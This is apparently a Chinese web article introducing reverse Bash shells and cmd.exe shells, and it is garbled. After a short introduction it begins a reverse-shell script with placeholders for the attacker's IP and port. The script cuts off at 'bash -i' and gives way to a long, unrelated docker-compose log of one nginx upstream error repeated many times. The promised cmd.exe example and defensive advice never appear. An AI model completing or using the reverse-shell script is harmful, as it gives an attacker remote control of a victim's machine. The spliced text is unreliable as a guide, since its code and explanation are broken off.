反向 Bash Shell 或 cmd.exe:操作系统

本文详细介绍了反向Bash Shell和cmd.exe的工作原理,提供了创建这两种反向Shell的简单示例代码,并强调了相应的安全防范措施,包括系统更新、防火墙配置、强密码策略等,以降低被黑客利用的风险。

介绍
在计算机领域,反向 Shell 是一种技术,它允许攻击者通过与受感染计算机建立连接,从远程位置执行命令。这种技术通常被黑客用于非法入侵和远程控制攻击。本文将介绍如何创建一个反向 Bash Shell 或 cmd.exe,以及如何防范这种潜在的安全威胁。

反向 Bash Shell
反向 Bash Shell 是一种通过 Bash(Bourne Again Shell)与远程计算机建立连接的技术。在攻击者成功入侵目标计算机后,他们可以使用反向 Bash Shell 执行各种命令,包括文件操作、进程管理和系统配置等。

以下是一个简单的示例代码,用于创建一个反向 Bash Shell(仅供教育目的使用,请勿用于非法用途):

#!/bin/bash
ip="攻击者IP"
port="攻击者监听端口"

bash -i 
zy@zy-VMware-Virtual-Platform:~/zy/project-zy$ docker-compose logs -f vue-app vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:25:42 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:25:51 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:25:59 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:26:08 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:26:17 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:26:26 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:26:38 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:26:52 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:27:13 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:27:47 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:28:46 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:29:54 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:31:03 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:32:11 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:33:19 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:34:27 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:35:35 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration vue-app | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh vue-app | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf is not a file or does not exist vue-app | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh vue-app | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh vue-app | /docker-entrypoint.sh: Configuration complete; ready for start up vue-app | 2025/08/08 18:36:43 [emerg] 1#1: host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13 vue-app | nginx: [emerg] host not found in upstream "java-app" in /etc/nginx/conf.d/vue.conf:13
08-10
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